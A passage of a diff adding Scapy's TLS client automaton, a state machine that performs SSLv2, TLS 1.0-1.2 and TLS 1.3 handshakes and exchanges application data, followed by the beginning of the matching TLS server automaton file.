+    def INITIAL(self):
+        self.vprint("Starting TLS client automaton.")
+        raise self.INIT_TLS_SESSION()
+
+    @ATMT.state()
+    def INIT_TLS_SESSION(self):
+        self.cur_session = tlsSession(connection_end="client")
+        self.cur_session.client_certs = self.mycert
+        self.cur_session.client_key = self.mykey
+        v = self.advertised_tls_version
+        if v:
+            self.cur_session.advertised_tls_version = v
+        else:
+            default_version = self.cur_session.advertised_tls_version
+            self.advertised_tls_version = default_version
+        raise self.CONNECT()
+
+    @ATMT.state()
+    def CONNECT(self):
+        s = socket.socket(self.remote_family, socket.SOCK_STREAM)
+        self.vprint()
+        self.vprint("Trying to connect on %s:%d" % (self.remote_ip,
+                                                    self.remote_port))
+        s.connect((self.remote_ip, self.remote_port))
+        self.socket = s
+        self.local_ip, self.local_port = self.socket.getsockname()[:2]
+        self.vprint()
+        if self.cur_session.advertised_tls_version in [0x0200, 0x0002]:
+            raise self.SSLv2_PREPARE_CLIENTHELLO()
+        elif self.cur_session.advertised_tls_version >= 0x0304:
+            raise self.TLS13_START()
+        else:
+            raise self.PREPARE_CLIENTFLIGHT1()
+
+    ########################### TLS handshake #################################
+
+    @ATMT.state()
+    def PREPARE_CLIENTFLIGHT1(self):
+        self.add_record()
+
+    @ATMT.condition(PREPARE_CLIENTFLIGHT1)
+    def should_add_ClientHello(self):
+        self.add_msg(self.client_hello or TLSClientHello())
+        raise self.ADDED_CLIENTHELLO()
+
+    @ATMT.state()
+    def ADDED_CLIENTHELLO(self):
+        pass
+
+    @ATMT.condition(ADDED_CLIENTHELLO)
+    def should_send_ClientFlight1(self):
+        self.flush_records()
+        raise self.SENT_CLIENTFLIGHT1()
+
+    @ATMT.state()
+    def SENT_CLIENTFLIGHT1(self):
+        raise self.WAITING_SERVERFLIGHT1()
+
+    @ATMT.state()
+    def WAITING_SERVERFLIGHT1(self):
+        self.get_next_msg()
+        raise self.RECEIVED_SERVERFLIGHT1()
+
+    @ATMT.state()
+    def RECEIVED_SERVERFLIGHT1(self):
+        pass
+
+    @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=1)
+    def should_handle_ServerHello(self):
+        """
+        XXX We should check the ServerHello attributes for discrepancies with
+        our own ClientHello.
+        """
+        self.raise_on_packet(TLSServerHello,
+                             self.HANDLED_SERVERHELLO)
+
+    @ATMT.state()
+    def HANDLED_SERVERHELLO(self):
+        pass
+
+    @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=2)
+    def missing_ServerHello(self):
+        raise self.MISSING_SERVERHELLO()
+
+    @ATMT.state()
+    def MISSING_SERVERHELLO(self):
+        self.vprint("Missing TLS ServerHello message!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.condition(HANDLED_SERVERHELLO, prio=1)
+    def should_handle_ServerCertificate(self):
+        if not self.cur_session.prcs.key_exchange.anonymous:
+            self.raise_on_packet(TLSCertificate,
+                                 self.HANDLED_SERVERCERTIFICATE)
+        raise self.HANDLED_SERVERCERTIFICATE()
+
+    @ATMT.state()
+    def HANDLED_SERVERCERTIFICATE(self):
+        pass
+
+    @ATMT.condition(HANDLED_SERVERHELLO, prio=2)
+    def missing_ServerCertificate(self):
+        raise self.MISSING_SERVERCERTIFICATE()
+
+    @ATMT.state()
+    def MISSING_SERVERCERTIFICATE(self):
+        self.vprint("Missing TLS Certificate message!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def HANDLED_CERTIFICATEREQUEST(self):
+        self.vprint("Server asked for a certificate...")
+        if not self.mykey or not self.mycert:
+            self.vprint("No client certificate to send!")
+            self.vprint("Will try and send an empty Certificate message...")
+
+    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=1)
+    def should_handle_ServerKeyExchange_from_ServerCertificate(self):
+        """
+        XXX We should check the ServerKeyExchange attributes for discrepancies
+        with our own ClientHello, along with the ServerHello and Certificate.
+        """
+        self.raise_on_packet(TLSServerKeyExchange,
+                             self.HANDLED_SERVERKEYEXCHANGE)
+
+    @ATMT.state(final=True)
+    def MISSING_SERVERKEYEXCHANGE(self):
+        pass
+
+    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=2)
+    def missing_ServerKeyExchange(self):
+        if not self.cur_session.prcs.key_exchange.no_ske:
+            raise self.MISSING_SERVERKEYEXCHANGE()
+
+    @ATMT.state()
+    def HANDLED_SERVERKEYEXCHANGE(self):
+        pass
+
+    def should_handle_CertificateRequest(self):
+        """
+        XXX We should check the CertificateRequest attributes for discrepancies
+        with the cipher suite, etc.
+        """
+        self.raise_on_packet(TLSCertificateRequest,
+                             self.HANDLED_CERTIFICATEREQUEST)
+
+    @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=2)
+    def should_handle_CertificateRequest_from_ServerKeyExchange(self):
+        self.should_handle_CertificateRequest()
+
+    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=3)
+    def should_handle_CertificateRequest_from_ServerCertificate(self):
+        self.should_handle_CertificateRequest()
+
+    def should_handle_ServerHelloDone(self):
+        self.raise_on_packet(TLSServerHelloDone,
+                             self.HANDLED_SERVERHELLODONE)
+
+    @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=1)
+    def should_handle_ServerHelloDone_from_ServerKeyExchange(self):
+        return self.should_handle_ServerHelloDone()
+
+    @ATMT.condition(HANDLED_CERTIFICATEREQUEST, prio=4)
+    def should_handle_ServerHelloDone_from_CertificateRequest(self):
+        return self.should_handle_ServerHelloDone()
+
+    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=4)
+    def should_handle_ServerHelloDone_from_ServerCertificate(self):
+        return self.should_handle_ServerHelloDone()
+
+    @ATMT.state()
+    def HANDLED_SERVERHELLODONE(self):
+        raise self.PREPARE_CLIENTFLIGHT2()
+
+    @ATMT.state()
+    def PREPARE_CLIENTFLIGHT2(self):
+        self.add_record()
+
+    @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=1)
+    def should_add_ClientCertificate(self):
+        """
+        If the server sent a CertificateRequest, we send a Certificate message.
+        If no certificate is available, an empty Certificate message is sent:
+        - this is a SHOULD in RFC 4346 (Section 7.4.6)
+        - this is a MUST in RFC 5246 (Section 7.4.6)
+
+        XXX We may want to add a complete chain.
+        """
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if not TLSCertificateRequest in hs_msg:
+            return
+        certs = []
+        if self.mycert:
+            certs = [self.mycert]
+        self.add_msg(TLSCertificate(certs=certs))
+        raise self.ADDED_CLIENTCERTIFICATE()
+
+    @ATMT.state()
+    def ADDED_CLIENTCERTIFICATE(self):
+        pass
+
+    def should_add_ClientKeyExchange(self):
+        self.add_msg(TLSClientKeyExchange())
+        raise self.ADDED_CLIENTKEYEXCHANGE()
+
+    @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=2)
+    def should_add_ClientKeyExchange_from_ClientFlight2(self):
+        return self.should_add_ClientKeyExchange()
+
+    @ATMT.condition(ADDED_CLIENTCERTIFICATE)
+    def should_add_ClientKeyExchange_from_ClientCertificate(self):
+        return self.should_add_ClientKeyExchange()
+
+    @ATMT.state()
+    def ADDED_CLIENTKEYEXCHANGE(self):
+        pass
+
+    @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=1)
+    def should_add_ClientVerify(self):
+        """
+        XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify
+        message is only sent following a client certificate that has signing
+        capability (i.e. not those containing fixed DH params).
+        We should verify that before adding the message. We should also handle
+        the case when the Certificate message was empty.
+        """
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if (not TLSCertificateRequest in hs_msg or
+            self.mycert is None or
+            self.mykey is None):
+            return
+        self.add_msg(TLSCertificateVerify())
+        raise self.ADDED_CERTIFICATEVERIFY()
+
+    @ATMT.state()
+    def ADDED_CERTIFICATEVERIFY(self):
+        pass
+
+    @ATMT.condition(ADDED_CERTIFICATEVERIFY)
+    def should_add_ChangeCipherSpec_from_CertificateVerify(self):
+        self.add_record()
+        self.add_msg(TLSChangeCipherSpec())
+        raise self.ADDED_CHANGECIPHERSPEC()
+
+    @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=2)
+    def should_add_ChangeCipherSpec_from_ClientKeyExchange(self):
+        self.add_record()
+        self.add_msg(TLSChangeCipherSpec())
+        raise self.ADDED_CHANGECIPHERSPEC()
+
+    @ATMT.state()
+    def ADDED_CHANGECIPHERSPEC(self):
+        pass
+
+    @ATMT.condition(ADDED_CHANGECIPHERSPEC)
+    def should_add_ClientFinished(self):
+        self.add_record()
+        self.add_msg(TLSFinished())
+        raise self.ADDED_CLIENTFINISHED()
+
+    @ATMT.state()
+    def ADDED_CLIENTFINISHED(self):
+        pass
+
+    @ATMT.condition(ADDED_CLIENTFINISHED)
+    def should_send_ClientFlight2(self):
+        self.flush_records()
+        raise self.SENT_CLIENTFLIGHT2()
+
+    @ATMT.state()
+    def SENT_CLIENTFLIGHT2(self):
+        raise self.WAITING_SERVERFLIGHT2()
+
+    @ATMT.state()
+    def WAITING_SERVERFLIGHT2(self):
+        self.get_next_msg()
+        raise self.RECEIVED_SERVERFLIGHT2()
+
+    @ATMT.state()
+    def RECEIVED_SERVERFLIGHT2(self):
+        pass
+
+    @ATMT.condition(RECEIVED_SERVERFLIGHT2)
+    def should_handle_ChangeCipherSpec(self):
+        self.raise_on_packet(TLSChangeCipherSpec,
+                             self.HANDLED_CHANGECIPHERSPEC)
+
+    @ATMT.state()
+    def HANDLED_CHANGECIPHERSPEC(self):
+        pass
+
+    @ATMT.condition(HANDLED_CHANGECIPHERSPEC)
+    def should_handle_Finished(self):
+        self.raise_on_packet(TLSFinished,
+                             self.HANDLED_SERVERFINISHED)
+
+    @ATMT.state()
+    def HANDLED_SERVERFINISHED(self):
+        self.vprint("TLS handshake completed!")
+        self.vprint_sessioninfo()
+        self.vprint("You may send data or use 'quit'.")
+
+    ####################### end of TLS handshake ##############################
+
+    @ATMT.condition(HANDLED_SERVERFINISHED)
+    def should_wait_ClientData(self):
+        raise self.WAIT_CLIENTDATA()
+
+    @ATMT.state()
+    def WAIT_CLIENTDATA(self):
+        pass
+
+    @ATMT.condition(WAIT_CLIENTDATA, prio=1)
+    def add_ClientData(self):
+        """
+        The user may type in:
+        GET / HTTP/1.1\r\nHost: testserver.com\r\n\r\n
+        Special characters are handled so that it becomes a valid HTTP request.
+        """
+        if not self.data_to_send:
+            data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode()
+        else:
+            data = self.data_to_send.pop()
+        if data == b"quit":
+            return
+        if self.linebreak:
+            data += b"\n"
+        self.add_record()
+        self.add_msg(TLSApplicationData(data=data))
+        raise self.ADDED_CLIENTDATA()
+
+    @ATMT.condition(WAIT_CLIENTDATA, prio=2)
+    def no_more_ClientData(self):
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def ADDED_CLIENTDATA(self):
+        pass
+
+    @ATMT.condition(ADDED_CLIENTDATA)
+    def should_send_ClientData(self):
+        self.flush_records()
+        raise self.SENT_CLIENTDATA()
+
+    @ATMT.state()
+    def SENT_CLIENTDATA(self):
+        raise self.WAITING_SERVERDATA()
+
+    @ATMT.state()
+    def WAITING_SERVERDATA(self):
+        self.get_next_msg(0.3, 1)
+        raise self.RECEIVED_SERVERDATA()
+
+    @ATMT.state()
+    def RECEIVED_SERVERDATA(self):
+        pass
+
+    @ATMT.condition(RECEIVED_SERVERDATA, prio=1)
+    def should_handle_ServerData(self):
+        if not self.buffer_in:
+            raise self.WAIT_CLIENTDATA()
+        p = self.buffer_in[0]
+        if isinstance(p, TLSApplicationData):
+            print("> Received: %r" % p.data)
+        elif isinstance(p, TLSAlert):
+            print("> Received: %r" % p)
+            raise self.CLOSE_NOTIFY()
+        else:
+            print("> Received: %r" % p)
+        self.buffer_in = self.buffer_in[1:]
+        raise self.HANDLED_SERVERDATA()
+
+    @ATMT.state()
+    def HANDLED_SERVERDATA(self):
+        raise self.WAIT_CLIENTDATA()
+
+    @ATMT.state()
+    def CLOSE_NOTIFY(self):
+        self.vprint()
+        self.vprint("Trying to send a TLSAlert to the server...")
+
+    @ATMT.condition(CLOSE_NOTIFY)
+    def close_session(self):
+        self.add_record()
+        self.add_msg(TLSAlert(level=1, descr=0))
+        try:
+            self.flush_records()
+        except:
+            self.vprint("Could not send termination Alert, maybe the server stopped?")
+        raise self.FINAL()
+
+    ########################## SSLv2 handshake ################################
+
+    @ATMT.state()
+    def SSLv2_PREPARE_CLIENTHELLO(self):
+        pass
+
+    @ATMT.condition(SSLv2_PREPARE_CLIENTHELLO)
+    def sslv2_should_add_ClientHello(self):
+        self.add_record(is_sslv2=True)
+        p = self.client_hello or SSLv2ClientHello(challenge=randstring(16))
+        self.add_msg(p)
+        raise self.SSLv2_ADDED_CLIENTHELLO()
+
+    @ATMT.state()
+    def SSLv2_ADDED_CLIENTHELLO(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_CLIENTHELLO)
+    def sslv2_should_send_ClientHello(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_CLIENTHELLO()
+
+    @ATMT.state()
+    def SSLv2_SENT_CLIENTHELLO(self):
+        raise self.SSLv2_WAITING_SERVERHELLO()
+
+    @ATMT.state()
+    def SSLv2_WAITING_SERVERHELLO(self):
+        self.get_next_msg()
+        raise self.SSLv2_RECEIVED_SERVERHELLO()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_SERVERHELLO(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=1)
+    def sslv2_should_handle_ServerHello(self):
+        self.raise_on_packet(SSLv2ServerHello,
+                             self.SSLv2_HANDLED_SERVERHELLO)
+
+    @ATMT.state()
+    def SSLv2_HANDLED_SERVERHELLO(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=2)
+    def sslv2_missing_ServerHello(self):
+        raise self.SSLv2_MISSING_SERVERHELLO()
+
+    @ATMT.state()
+    def SSLv2_MISSING_SERVERHELLO(self):
+        self.vprint("Missing SSLv2 ServerHello message!")
+        raise self.SSLv2_CLOSE_NOTIFY()
+
+    @ATMT.condition(SSLv2_HANDLED_SERVERHELLO)
+    def sslv2_should_add_ClientMasterKey(self):
+        self.add_record(is_sslv2=True)
+        self.add_msg(SSLv2ClientMasterKey())
+        raise self.SSLv2_ADDED_CLIENTMASTERKEY()
+
+    @ATMT.state()
+    def SSLv2_ADDED_CLIENTMASTERKEY(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_CLIENTMASTERKEY)
+    def sslv2_should_send_ClientMasterKey(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_CLIENTMASTERKEY()
+
+    @ATMT.state()
+    def SSLv2_SENT_CLIENTMASTERKEY(self):
+        raise self.SSLv2_WAITING_SERVERVERIFY()
+
+    @ATMT.state()
+    def SSLv2_WAITING_SERVERVERIFY(self):
+        # We give the server 0.5 second to send his ServerVerify.
+        # Else we assume that he's waiting for our ClientFinished.
+        self.get_next_msg(0.5, 0)
+        raise self.SSLv2_RECEIVED_SERVERVERIFY()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_SERVERVERIFY(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=1)
+    def sslv2_should_handle_ServerVerify(self):
+        self.raise_on_packet(SSLv2ServerVerify,
+                             self.SSLv2_HANDLED_SERVERVERIFY,
+                             get_next_msg=False)
+
+    @ATMT.state()
+    def SSLv2_HANDLED_SERVERVERIFY(self):
+        pass
+
+    def sslv2_should_add_ClientFinished(self):
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if SSLv2ClientFinished in hs_msg:
+            return
+        self.add_record(is_sslv2=True)
+        self.add_msg(SSLv2ClientFinished())
+        raise self.SSLv2_ADDED_CLIENTFINISHED()
+
+    @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=1)
+    def sslv2_should_add_ClientFinished_from_ServerVerify(self):
+        return self.sslv2_should_add_ClientFinished()
+
+    @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=2)
+    def sslv2_should_wait_ServerFinished_from_ServerVerify(self):
+        raise self.SSLv2_WAITING_SERVERFINISHED()
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=2)
+    def sslv2_should_add_ClientFinished_from_NoServerVerify(self):
+        return self.sslv2_should_add_ClientFinished()
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=3)
+    def sslv2_missing_ServerVerify(self):
+        raise self.SSLv2_MISSING_SERVERVERIFY()
+
+    @ATMT.state(final=True)
+    def SSLv2_MISSING_SERVERVERIFY(self):
+        self.vprint("Missing SSLv2 ServerVerify message!")
+        raise self.SSLv2_CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def SSLv2_ADDED_CLIENTFINISHED(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_CLIENTFINISHED)
+    def sslv2_should_send_ClientFinished(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_CLIENTFINISHED()
+
+    @ATMT.state()
+    def SSLv2_SENT_CLIENTFINISHED(self):
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if SSLv2ServerVerify in hs_msg:
+            raise self.SSLv2_WAITING_SERVERFINISHED()
+        else:
+            self.get_next_msg()
+            raise self.SSLv2_RECEIVED_SERVERVERIFY()
+
+    @ATMT.state()
+    def SSLv2_WAITING_SERVERFINISHED(self):
+        self.get_next_msg()
+        raise self.SSLv2_RECEIVED_SERVERFINISHED()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_SERVERFINISHED(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=1)
+    def sslv2_should_handle_ServerFinished(self):
+        self.raise_on_packet(SSLv2ServerFinished,
+                             self.SSLv2_HANDLED_SERVERFINISHED)
+
+    ####################### SSLv2 client authentication #######################
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=2)
+    def sslv2_should_handle_RequestCertificate(self):
+        self.raise_on_packet(SSLv2RequestCertificate,
+                             self.SSLv2_HANDLED_REQUESTCERTIFICATE)
+
+    @ATMT.state()
+    def SSLv2_HANDLED_REQUESTCERTIFICATE(self):
+        self.vprint("Server asked for a certificate...")
+        if not self.mykey or not self.mycert:
+            self.vprint("No client certificate to send!")
+            raise self.SSLv2_CLOSE_NOTIFY()
+
+    @ATMT.condition(SSLv2_HANDLED_REQUESTCERTIFICATE)
+    def sslv2_should_add_ClientCertificate(self):
+        self.add_record(is_sslv2=True)
+        self.add_msg(SSLv2ClientCertificate(certdata=self.mycert))
+        raise self.SSLv2_ADDED_CLIENTCERTIFICATE()
+
+    @ATMT.state()
+    def SSLv2_ADDED_CLIENTCERTIFICATE(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_CLIENTCERTIFICATE)
+    def sslv2_should_send_ClientCertificate(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_CLIENTCERTIFICATE()
+
+    @ATMT.state()
+    def SSLv2_SENT_CLIENTCERTIFICATE(self):
+        raise self.SSLv2_WAITING_SERVERFINISHED()
+
+    ################### end of SSLv2 client authentication ####################
+
+    @ATMT.state()
+    def SSLv2_HANDLED_SERVERFINISHED(self):
+        self.vprint("SSLv2 handshake completed!")
+        self.vprint_sessioninfo()
+        self.vprint("You may send data or use 'quit'.")
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=3)
+    def sslv2_missing_ServerFinished(self):
+        raise self.SSLv2_MISSING_SERVERFINISHED()
+
+    @ATMT.state()
+    def SSLv2_MISSING_SERVERFINISHED(self):
+        self.vprint("Missing SSLv2 ServerFinished message!")
+        raise self.SSLv2_CLOSE_NOTIFY()
+
+    ######################## end of SSLv2 handshake ###########################
+
+    @ATMT.condition(SSLv2_HANDLED_SERVERFINISHED)
+    def sslv2_should_wait_ClientData(self):
+        raise self.SSLv2_WAITING_CLIENTDATA()
+
+    @ATMT.state()
+    def SSLv2_WAITING_CLIENTDATA(self):
+        pass
+
+    @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=1)
+    def sslv2_add_ClientData(self):
+        if not self.data_to_send:
+            data = six.moves.input().replace('\\r', '\r').replace('\\n', '\n').encode()
+        else:
+            data = self.data_to_send.pop()
+            self.vprint("> Read from list: %s" % data)
+        if data == "quit":
+            return
+        if self.linebreak:
+            data += "\n"
+        self.add_record(is_sslv2=True)
+        self.add_msg(Raw(data))
+        raise self.SSLv2_ADDED_CLIENTDATA()
+
+    @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=2)
+    def sslv2_no_more_ClientData(self):
+        raise self.SSLv2_CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def SSLv2_ADDED_CLIENTDATA(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_CLIENTDATA)
+    def sslv2_should_send_ClientData(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_CLIENTDATA()
+
+    @ATMT.state()
+    def SSLv2_SENT_CLIENTDATA(self):
+        raise self.SSLv2_WAITING_SERVERDATA()
+
+    @ATMT.state()
+    def SSLv2_WAITING_SERVERDATA(self):
+        self.get_next_msg(0.3, 1)
+        raise self.SSLv2_RECEIVED_SERVERDATA()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_SERVERDATA(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_SERVERDATA)
+    def sslv2_should_handle_ServerData(self):
+        if not self.buffer_in:
+            raise self.SSLv2_WAITING_CLIENTDATA()
+        p = self.buffer_in[0]
+        print("> Received: %r" % p.load)
+        if p.load.startswith(b"goodbye"):
+            raise self.SSLv2_CLOSE_NOTIFY()
+        self.buffer_in = self.buffer_in[1:]
+        raise self.SSLv2_HANDLED_SERVERDATA()
+
+    @ATMT.state()
+    def SSLv2_HANDLED_SERVERDATA(self):
+        raise self.SSLv2_WAITING_CLIENTDATA()
+
+    @ATMT.state()
+    def SSLv2_CLOSE_NOTIFY(self):
+        """
+        There is no proper way to end an SSLv2 session.
+        We try and send a 'goodbye' message as a substitute.
+        """
+        self.vprint()
+        self.vprint("Trying to send a 'goodbye' to the server...")
+
+    @ATMT.condition(SSLv2_CLOSE_NOTIFY)
+    def sslv2_close_session(self):
+        self.add_record()
+        self.add_msg(Raw('goodbye'))
+        try:
+            self.flush_records()
+        except:
+            self.vprint("Could not send our goodbye. The server probably stopped.")
+        self.socket.close()
+        raise self.FINAL()
+
+    ######################### TLS 1.3 handshake ###############################
+
+    @ATMT.state()
+    def TLS13_START(self):
+        pass
+
+    @ATMT.condition(TLS13_START)
+    def tls13_should_add_ClientHello(self):
+        # we have to use the legacy, plaintext TLS record here
+        self.add_record(is_tls13=False)
+        if self.client_hello:
+            p = self.client_hello
+        else:
+            # When trying to connect to a public TLS 1.3 server,
+            # you will most likely need to provide an SNI extension.
+           #sn = ServerName(servername="<put server name here>")
+            ext = [TLS_Ext_SupportedGroups(groups=["secp256r1"]),
+                  #TLS_Ext_ServerName(servernames=[sn]),
+                   TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=23)]),
+                   TLS_Ext_SupportedVersions(versions=["TLS 1.3-d18"]),
+                   TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsapss",
+                                                         "sha256+rsa"]) ]
+            p = TLSClientHello(ciphers=0x1301, ext=ext)
+        self.add_msg(p)
+        raise self.TLS13_ADDED_CLIENTHELLO()
+
+    @ATMT.state()
+    def TLS13_ADDED_CLIENTHELLO(self):
+        pass
+
+    @ATMT.condition(TLS13_ADDED_CLIENTHELLO)
+    def tls13_should_send_ClientHello(self):
+        self.flush_records()
+        raise self.TLS13_SENT_CLIENTHELLO()
+
+    @ATMT.state()
+    def TLS13_SENT_CLIENTHELLO(self):
+        raise self.TLS13_WAITING_SERVERHELLO()
+
+    @ATMT.state()
+    def TLS13_WAITING_SERVERHELLO(self):
+        self.get_next_msg()
+
+    @ATMT.condition(TLS13_WAITING_SERVERHELLO)
+    def tls13_should_handle_ServerHello(self):
+        self.raise_on_packet(TLS13ServerHello,
+                             self.TLS13_WAITING_ENCRYPTEDEXTENSIONS)
+
+    @ATMT.state()
+    def TLS13_WAITING_ENCRYPTEDEXTENSIONS(self):
+        self.get_next_msg()
+
+    @ATMT.condition(TLS13_WAITING_ENCRYPTEDEXTENSIONS)
+    def tls13_should_handle_EncryptedExtensions(self):
+        self.raise_on_packet(TLSEncryptedExtensions,
+                             self.TLS13_WAITING_CERTIFICATE)
+
+    @ATMT.state()
+    def TLS13_WAITING_CERTIFICATE(self):
+        self.get_next_msg()
+
+    @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=1)
+    def tls13_should_handle_Certificate(self):
+        self.raise_on_packet(TLS13Certificate,
+                             self.TLS13_WAITING_CERTIFICATEVERIFY)
+
+    @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=2)
+    def tls13_should_handle_CertificateRequest(self):
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if TLSCertificateRequest in hs_msg:
+            self.vprint("TLSCertificateRequest already received!")
+        self.raise_on_packet(TLSCertificateRequest,
+                             self.TLS13_WAITING_CERTIFICATE)
+
+    @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=3)
+    def tls13_should_handle_ServerFinished_from_EncryptedExtensions(self):
+        self.raise_on_packet(TLSFinished,
+                             self.TLS13_CONNECTED)
+
+    @ATMT.condition(TLS13_WAITING_CERTIFICATE, prio=4)
+    def tls13_missing_Certificate(self):
+        self.vprint("Missing TLS 1.3 message after EncryptedExtensions!")
+        raise self.FINAL()
+
+    @ATMT.state()
+    def TLS13_WAITING_CERTIFICATEVERIFY(self):
+        self.get_next_msg()
+
+    @ATMT.condition(TLS13_WAITING_CERTIFICATEVERIFY)
+    def tls13_should_handle_CertificateVerify(self):
+        self.raise_on_packet(TLSCertificateVerify,
+                             self.TLS13_WAITING_SERVERFINISHED)
+
+    @ATMT.state()
+    def TLS13_WAITING_SERVERFINISHED(self):
+        self.get_next_msg()
+
+    @ATMT.condition(TLS13_WAITING_SERVERFINISHED)
+    def tls13_should_handle_ServerFinished_from_CertificateVerify(self):
+        self.raise_on_packet(TLSFinished,
+                             self.TLS13_PREPARE_CLIENTFLIGHT2)
+
+    @ATMT.state()
+    def TLS13_PREPARE_CLIENTFLIGHT2(self):
+        self.add_record(is_tls13=True)
+        #raise self.FINAL()
+
+    @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2)
+    def tls13_should_add_ClientFinished(self):
+        self.add_msg(TLSFinished())
+        raise self.TLS13_ADDED_CLIENTFINISHED()
+
+    @ATMT.state()
+    def TLS13_ADDED_CLIENTFINISHED(self):
+        pass
+
+    @ATMT.condition(TLS13_ADDED_CLIENTFINISHED)
+    def tls13_should_send_ClientFlight2(self):
+        self.flush_records()
+        raise self.TLS13_SENT_CLIENTFLIGHT2()
+
+    @ATMT.state()
+    def TLS13_SENT_CLIENTFLIGHT2(self):
+        raise self.HANDLED_SERVERFINISHED()
+
+    @ATMT.state(final=True)
+    def FINAL(self):
+        # We might call shutdown, but it may happen that the server
+        # did not wait for us to shutdown after answering our data query.
+        #self.socket.shutdown(1)
+        self.vprint("Closing client socket...")
+        self.socket.close()
+        self.vprint("Ending TLS client automaton.")
+
diff --git a/scapy/layers/tls/automaton_srv.py b/scapy/layers/tls/automaton_srv.py
new file mode 100644
index 0000000..1d37aa4
--- /dev/null
+++ b/scapy/layers/tls/automaton_srv.py
@@ -0,0 +1,884 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS server automaton. This makes for a primitive TLS stack.
+Obviously you need rights for network access.
+
+We support versions SSLv2 to TLS 1.2, along with many features.
+There is no session resumption mechanism for now.
+
+In order to run a server listening on tcp/4433:
+> from scapy.all import *
+> t = TLSServerAutomaton(mycert='<cert.pem>', mykey='<key.pem>')
+> t.run()
+"""
+
+from __future__ import print_function
+import socket
+
+from scapy.pton_ntop import inet_pton
+from scapy.utils import randstring, repr_hex
+from scapy.automaton import ATMT
+from scapy.layers.tls.automaton import _TLSAutomaton
+from scapy.layers.tls.cert import PrivKeyRSA, PrivKeyECDSA
+from scapy.layers.tls.basefields import _tls_version
+from scapy.layers.tls.session import tlsSession
+from scapy.layers.tls.handshake import *
+from scapy.layers.tls.handshake_sslv2 import *
+from scapy.layers.tls.record import (TLS, TLSAlert, TLSChangeCipherSpec,
+                                     TLSApplicationData)
+from scapy.layers.tls.crypto.suites import (_tls_cipher_suites_cls,
+                                            get_usable_ciphersuites)
+
+
+class TLSServerAutomaton(_TLSAutomaton):
+    """
+    A simple TLS test server automaton. Try to overload some states or
+    conditions and see what happens on the other side.
+
+    Because of socket and automaton limitations, for now, the best way to
+    interrupt the server is by sending him 'stop_server'. Interruptions with
+    Ctrl-Z should work, but this might leave a loose listening socket behind.
+
+    In case the server receives a TLSAlert (whatever its type), or a 'goodbye'
+    message in a SSLv2 version, he will close the client session with a
+    similar message, and start waiting for new client connections.
+
+    _'mycert' and 'mykey' may be provided as filenames. They are needed for any
+    server authenticated handshake.
+    _'preferred_ciphersuite' allows the automaton to choose a cipher suite when
+    offered in the ClientHello. If absent, another one will be chosen.
+    _'client_auth' means the client has to provide a certificate.
+    _'is_echo_server' means that everything received will be sent back.
+    _'max_client_idle_time' is the maximum silence duration from the client.
+    Once this limit has been reached, the client (if still here) is dropped,
+    and we wait for a new connection.
+    """
+    def parse_args(self, server="127.0.0.1", sport=4433,
+                         mycert=None, mykey=None,
+                         preferred_ciphersuite=None,
+                         client_auth=False,
